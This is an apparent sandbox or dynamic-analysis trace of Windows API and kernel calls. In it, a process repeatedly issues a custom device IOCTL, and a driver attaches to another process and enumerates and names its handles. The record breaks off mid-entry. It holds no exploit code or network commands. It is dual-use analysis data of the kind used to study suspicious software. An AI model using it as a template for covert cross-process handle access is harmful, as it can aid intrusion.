ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.056] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.056] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0093.056] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.056] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.056] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.056] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.056] PsAcquireProcessExitSynchronization () returned 0x0 [0093.056] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.056] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0093.056] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.056] PsReleaseProcessExitSynchronization () returned 0x2 [0093.056] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.056] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.056] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0093.056] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.056] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.056] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.057] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.057] PsAcquireProcessExitSynchronization () returned 0x0 [0093.057] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.057] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0093.057] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.057] PsReleaseProcessExitSynchronization () returned 0x2 [0093.057] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.057] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.057] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0093.057] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.057] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.057] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.057] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.057] PsAcquireProcessExitSynchronization () returned 0x0 [0093.057] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.057] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0093.057] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.057] PsReleaseProcessExitSynchronization () returned 0x2 [0093.057] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.057] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.057] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0093.057] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.057] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.057] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.057] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.057] PsAcquireProcessExitSynchronization () returned 0x0 [0093.057] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.057] ObReferenceObjectByHandle (in: Handle=0x61c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f84400, HandleInformation=0x0) returned 0x0 [0093.057] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.057] PsReleaseProcessExitSynchronization () returned 0x2 [0093.057] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.057] ObQueryNameString (in: Object=0xfffff8a001f84400, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.057] ObfDereferenceObject (Object=0xfffff8a001f84400) returned 0x1 [0093.058] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.058] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.058] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.058] PsAcquireProcessExitSynchronization () returned 0x0 [0093.058] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.058] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020a4eb0, HandleInformation=0x0) returned 0x0 [0093.058] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.058] PsReleaseProcessExitSynchronization () returned 0x2 [0093.058] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.058] ObQueryNameString (in: Object=0xfffff8a0020a4eb0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.058] ObfDereferenceObject (Object=0xfffff8a0020a4eb0) returned 0x1 [0093.058] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.058] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.058] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.058] PsAcquireProcessExitSynchronization () returned 0x0 [0093.058] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.058] ObReferenceObjectByHandle (in: Handle=0x63c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020a0890, HandleInformation=0x0) returned 0x0 [0093.058] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.058] PsReleaseProcessExitSynchronization () returned 0x2 [0093.058] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.058] ObQueryNameString (in: Object=0xfffff8a0020a0890, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.058] ObfDereferenceObject (Object=0xfffff8a0020a0890) returned 0x1 [0093.058] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.058] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.058] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.058] PsAcquireProcessExitSynchronization () returned 0x0 [0093.058] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.058] ObReferenceObjectByHandle (in: Handle=0x64c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002089700, HandleInformation=0x0) returned 0x0 [0093.059] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.059] PsReleaseProcessExitSynchronization () returned 0x2 [0093.059] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.059] ObQueryNameString (in: Object=0xfffff8a002089700, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.059] ObfDereferenceObject (Object=0xfffff8a002089700) returned 0x1 [0093.059] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.059] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.059] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.059] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.059] PsAcquireProcessExitSynchronization () returned 0x0 [0093.059] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.059] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020997e0, HandleInformation=0x0) returned 0x0 [0093.059] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.059] PsReleaseProcessExitSynchronization () returned 0x2 [0093.059] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.059] ObQueryNameString (in: Object=0xfffff8a0020997e0, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.059] ObfDereferenceObject (Object=0xfffff8a0020997e0) returned 0x1 [0093.059] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.059] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.059] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.059] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.059] PsAcquireProcessExitSynchronization () returned 0x0 [0093.059] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.059] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020ad780, HandleInformation=0x0) returned 0x0 [0093.059] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.059] PsReleaseProcessExitSynchronization () returned 0x2 [0093.059] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.059] ObQueryNameString (in: Object=0xfffff8a0020ad780, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.059] ObfDereferenceObject (Object=0xfffff8a0020ad780) returned 0x1 [0093.059] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.059] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.060] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.060] PsAcquireProcessExitSynchronization () returned 0x0 [0093.060] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.060] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00204d540, HandleInformation=0x0) returned 0x0 [0093.060] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.060] PsReleaseProcessExitSynchronization () returned 0x2 [0093.060] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.060] ObQueryNameString (in: Object=0xfffff8a00204d540, ObjectNameInfo=0xfffffa800210d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800210d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.060] ObfDereferenceObject (Object=0xfffff8a00204d540) returned 0x1 [0093.060] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.060] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.060] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.060] PsAcquireProcessExitSynchronization () returned 0x0 [0093.060] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.060] ObReferenceObjectByHandle (in: Handle=0x68c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002094340, HandleInformation=0x0) returned 0x0 [0093.060] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.060] PsReleaseProcessExitSynchronization () returned 0x2 [0093.060] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.060] ObQueryNameString (in: Object=0xfffff8a002094340, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.060] ObfDereferenceObject (Object=0xfffff8a002094340) returned 0x1 [0093.060] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.060] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.060] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.060] PsAcquireProcessExitSynchronization () returned 0x0 [0093.060] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.060] ObReferenceObjectByHandle (in: Handle=0x69c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f6c480, HandleInformation=0x0) returned 0x0 [0093.060] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.060] PsReleaseProcessExitSynchronization () returned 0x2 [0093.060] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.060] ObQueryNameString (in: Object=0xfffff8a001f6c480, ObjectNameInfo=0xfffffa800211e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211e044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.061] ObfDereferenceObject (Object=0xfffff8a001f6c480) returned 0x1 [0093.061] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.061] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.061] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.061] PsAcquireProcessExitSynchronization () returned 0x0 [0093.061] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.061] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002082c30, HandleInformation=0x0) returned 0x0 [0093.061] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.061] PsReleaseProcessExitSynchronization () returned 0x2 [0093.061] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.061] ObQueryNameString (in: Object=0xfffff8a002082c30, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.061] ObfDereferenceObject (Object=0xfffff8a002082c30) returned 0x1 [0093.061] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.061] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.061] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.061] PsAcquireProcessExitSynchronization () returned 0x0 [0093.061] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.061] ObReferenceObjectByHandle (in: Handle=0x6bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002063a30, HandleInformation=0x0) returned 0x0 [0093.061] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.061] PsReleaseProcessExitSynchronization () returned 0x2 [0093.061] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.061] ObQueryNameString (in: Object=0xfffff8a002063a30, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.061] ObfDereferenceObject (Object=0xfffff8a002063a30) returned 0x1 [0093.061] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.061] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.061] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.061] PsAcquireProcessExitSynchronization () returned 0x0 [0093.061] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.062] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020879e0, HandleInformation=0x0) returned 0x0 [0093.062] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.062] PsReleaseProcessExitSynchronization () returned 0x2 [0093.062] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.062] ObQueryNameString (in: Object=0xfffff8a0020879e0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.062] ObfDereferenceObject (Object=0xfffff8a0020879e0) returned 0x1 [0093.062] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.062] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.062] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 